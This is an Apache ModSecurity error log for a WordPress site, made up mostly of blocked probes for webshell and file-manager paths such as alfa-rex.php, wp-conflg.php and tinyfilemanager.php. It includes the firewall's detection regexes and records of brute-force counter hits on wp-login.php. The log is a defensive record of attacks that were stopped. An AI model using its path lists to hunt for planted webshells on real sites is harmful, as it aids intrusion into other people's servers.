[Thu Apr 23 07:33:17.812301 2026] [:error] [pid 59700:tid 59715] [client 89.251.0.124:30579] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "aelavZXyGZJFeAIDWtlk8gAAAU0"]
[Thu Apr 23 07:33:22.899992 2026] [:error] [pid 42972:tid 43023] [client 89.251.0.115:46297] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aelawsOAb-3sOknsk4coxQAAAEc"]
[Thu Apr 23 07:33:24.223872 2026] [:error] [pid 65000:tid 65042] [client 89.251.0.143:29385] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "aelaxL6vRb9j6psK2ZarOgAAAgk"]
[Thu Apr 23 07:33:25.393406 2026] [:error] [pid 42971:tid 43008] [client 89.251.0.145:64359] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/mer_gagal.php"] [unique_id "aelaxTEP2_5RswrH8bG1YAAAABY"]
[Thu Apr 23 07:33:26.737186 2026] [:error] [pid 43083:tid 43087] [client 89.251.0.148:38489] [client 89.251.0.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "aelaxjC5hrvNXosL83LYpgAAAMI"]
[Thu Apr 23 07:33:28.794634 2026] [:error] [pid 64967:tid 64977] [client 89.251.0.131:39107] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "aelayIAV4GfOOdX8QzoaYgAAAYg"]
[Thu Apr 23 07:33:29.757770 2026] [:error] [pid 42971:tid 43001] [client 89.251.0.131:62607] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/Core32.php"] [unique_id "aelayTEP2_5RswrH8bG1igAAAA8"]
[Thu Apr 23 07:33:32.622519 2026] [:error] [pid 43083:tid 43095] [client 89.251.0.132:48291] [client 89.251.0.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aelazDC5hrvNXosL83LYzwAAAMo"]
[Thu Apr 23 07:33:35.733648 2026] [:error] [pid 42971:tid 43008] [client 89.251.0.142:61497] [client 89.251.0.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "aelazzEP2_5RswrH8bG1ugAAABY"]
[Thu Apr 23 07:33:36.485815 2026] [:error] [pid 42972:tid 43037] [client 89.251.0.124:52131] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "aela0MOAb-3sOknsk4co7QAAAFU"]
[Thu Apr 23 07:34:15.126758 2026] [autoindex:error] [pid 43083:tid 43089] [client 89.251.0.144:49363] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 09:50:53.780994 2026] [:error] [pid 65000:tid 65057] [client 91.230.225.205:35985] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "ael6_b6vRb9j6psK2Zbx_QAAAhg"]
[Thu Apr 23 09:50:55.200323 2026] [:error] [pid 64998:tid 65003] [client 91.230.225.12:46235] [client 91.230.225.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "ael6_4V5EysYcTLjmwhpRwAAAcE"]
[Thu Apr 23 09:50:57.479795 2026] [:error] [pid 64998:tid 65019] [client 185.192.71.24:57437] [client 185.192.71.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ael7AYV5EysYcTLjmwhpeAAAAdE"]
[Thu Apr 23 09:50:58.914175 2026] [:error] [pid 65000:tid 65045] [client 91.230.225.209:56457] [client 91.230.225.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "ael7Ar6vRb9j6psK2ZbyKgAAAgw"]
[Thu Apr 23 09:51:01.289967 2026] [:error] [pid 43083:tid 43100] [client 91.230.225.207:26123] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "ael7BTC5hrvNXosL83ILGgAAAM8"]
[Thu Apr 23 09:51:02.128700 2026] [:error] [pid 64967:tid 64970] [client 91.230.225.206:46321] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "ael7BoAV4GfOOdX8Qzon_AAAAYE"]
[Thu Apr 23 09:51:02.693782 2026] [:error] [pid 64998:tid 65013] [client 91.230.225.24:35247] [client 91.230.225.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "ael7BoV5EysYcTLjmwhpvwAAAcs"]
[Thu Apr 23 09:51:03.294508 2026] [:error] [pid 64998:tid 65009] [client 91.230.225.16:45387] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "ael7B4V5EysYcTLjmwhpyAAAAcc"]
[Thu Apr 23 09:51:03.832846 2026] [:error] [pid 64998:tid 65024] [client 185.192.71.29:57683] [client 185.192.71.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "ael7B4V5EysYcTLjmwhpzAAAAdY"]
[Thu Apr 23 09:51:04.394824 2026] [:error] [pid 43083:tid 43108] [client 91.230.225.208:47237] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "ael7CDC5hrvNXosL83ILKgAAANc"]
[Thu Apr 23 09:51:05.318855 2026] [:error] [pid 59700:tid 59718] [client 185.192.71.25:37285] [client 185.192.71.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "ael7CZXyGZJFeAIDWtmJHQAAAVA"]
[Thu Apr 23 09:51:06.442328 2026] [:error] [pid 64998:tid 65014] [client 91.230.225.196:24641] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "ael7CoV5EysYcTLjmwhp8gAAAcw"]
[Thu Apr 23 09:51:07.655828 2026] [:error] [pid 43083:tid 43103] [client 185.192.71.23:52907] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ael7CzC5hrvNXosL83ILPgAAANI"]
[Thu Apr 23 09:51:08.491699 2026] [:error] [pid 42971:tid 43004] [client 185.192.71.40:32333] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "ael7DDEP2_5RswrH8bHREQAAABI"]
[Thu Apr 23 09:51:09.357447 2026] [:error] [pid 43083:tid 43106] [client 91.230.225.207:34529] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "ael7DTC5hrvNXosL83ILTQAAANU"]
[Thu Apr 23 09:51:11.704256 2026] [:error] [pid 43083:tid 43085] [client 91.230.225.208:24715] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "ael7DzC5hrvNXosL83ILbgAAAMA"]
[Thu Apr 23 09:51:12.534975 2026] [:error] [pid 43083:tid 43085] [client 91.230.225.204:21879] [client 91.230.225.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "ael7EDC5hrvNXosL83ILggAAAMA"]
[Thu Apr 23 09:51:13.664540 2026] [:error] [pid 59700:tid 59713] [client 91.230.225.204:51717] [client 91.230.225.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "ael7EZXyGZJFeAIDWtmJWAAAAUs"]
[Thu Apr 23 09:51:14.497753 2026] [:error] [pid 59700:tid 59711] [client 185.192.71.31:61685] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "ael7EpXyGZJFeAIDWtmJcQAAAUk"]
[Thu Apr 23 09:51:16.171189 2026] [:error] [pid 42971:tid 43004] [client 185.192.71.35:41803] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "ael7FDEP2_5RswrH8bHRbwAAABI"]
[Thu Apr 23 09:51:17.054405 2026] [:error] [pid 43083:tid 43090] [client 91.230.225.16:42963] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "ael7FTC5hrvNXosL83ILpAAAAMU"]
[Thu Apr 23 09:51:17.876621 2026] [:error] [pid 64998:tid 65009] [client 185.192.71.40:55717] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "ael7FYV5EysYcTLjmwhqhgAAAcc"]
[Thu Apr 23 09:51:18.489061 2026] [:error] [pid 42971:tid 43008] [client 91.230.225.196:26901] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "ael7FjEP2_5RswrH8bHRiwAAABY"]
[Thu Apr 23 09:51:19.064761 2026] [:error] [pid 65000:tid 65053] [client 91.230.225.19:61373] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "ael7F76vRb9j6psK2ZbyvwAAAhQ"]
[Thu Apr 23 09:51:20.444352 2026] [:error] [pid 64967:tid 64974] [client 91.230.225.196:59319] [client 91.230.225.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "ael7GIAV4GfOOdX8QzooKwAAAYU"]
[Thu Apr 23 09:51:20.984162 2026] [:error] [pid 25635:tid 25656] [client 91.230.225.17:23725] [client 91.230.225.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "ael7GMRxv6UsgRGKB3LzUQAAARE"]
[Thu Apr 23 09:51:21.528612 2026] [:error] [pid 59700:tid 59718] [client 185.192.71.38:59771] [client 185.192.71.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "ael7GZXyGZJFeAIDWtmJxAAAAVA"]
[Thu Apr 23 09:51:24.342596 2026] [:error] [pid 42972:tid 43022] [client 185.192.71.28:62165] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "ael7HMOAb-3sOknsk4c6hQAAAEY"]
[Thu Apr 23 09:51:25.801096 2026] [:error] [pid 42972:tid 43027] [client 91.230.225.16:20947] [client 91.230.225.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "ael7HcOAb-3sOknsk4c6igAAAEs"]
[Thu Apr 23 09:51:29.325878 2026] [:error] [pid 42972:tid 43027] [client 91.230.225.16:20947] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "ael7IcOAb-3sOknsk4c6oAAAAEs"]
[Thu Apr 23 09:51:30.402313 2026] [:error] [pid 59700:tid 59719] [client 185.192.71.29:53109] [client 185.192.71.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.29, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "ael7IpXyGZJFeAIDWtmKCAAAAVE"]
[Thu Apr 23 09:51:30.959320 2026] [:error] [pid 59700:tid 59708] [client 185.192.71.29:53109] [client 185.192.71.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "ael7IpXyGZJFeAIDWtmKEAAAAUY"]
[Thu Apr 23 09:51:33.936117 2026] [:error] [pid 59700:tid 59720] [client 91.230.225.21:47675] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "ael7JZXyGZJFeAIDWtmKRgAAAVI"]
[Thu Apr 23 09:51:36.841135 2026] [:error] [pid 42972:tid 43024] [client 185.192.71.30:65187] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "ael7KMOAb-3sOknsk4c6zgAAAEg"]
[Thu Apr 23 09:51:38.004017 2026] [:error] [pid 64998:tid 65014] [client 91.230.225.19:47911] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "ael7KoV5EysYcTLjmwhrnwAAAcw"]
[Thu Apr 23 09:51:39.429253 2026] [:error] [pid 65000:tid 65032] [client 91.230.225.206:27879] [client 91.230.225.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.206, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "ael7K76vRb9j6psK2ZbzlgAAAgM"]
[Thu Apr 23 09:51:39.708311 2026] [:error] [pid 65000:tid 65039] [client 91.230.225.206:27879] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "ael7K76vRb9j6psK2ZbznQAAAgY"]
[Thu Apr 23 09:51:45.241798 2026] [:error] [pid 25635:tid 25650] [client 91.230.225.208:63679] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "ael7McRxv6UsgRGKB3LznQAAAQs"]
[Thu Apr 23 09:51:46.656676 2026] [:error] [pid 64998:tid 65025] [client 91.230.225.198:30249] [client 91.230.225.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.198, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "ael7MoV5EysYcTLjmwhsdAAAAdc"]
[Thu Apr 23 09:51:47.783499 2026] [:error] [pid 64998:tid 65024] [client 91.230.225.198:30249] [client 91.230.225.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "ael7M4V5EysYcTLjmwhsjAAAAdY"]
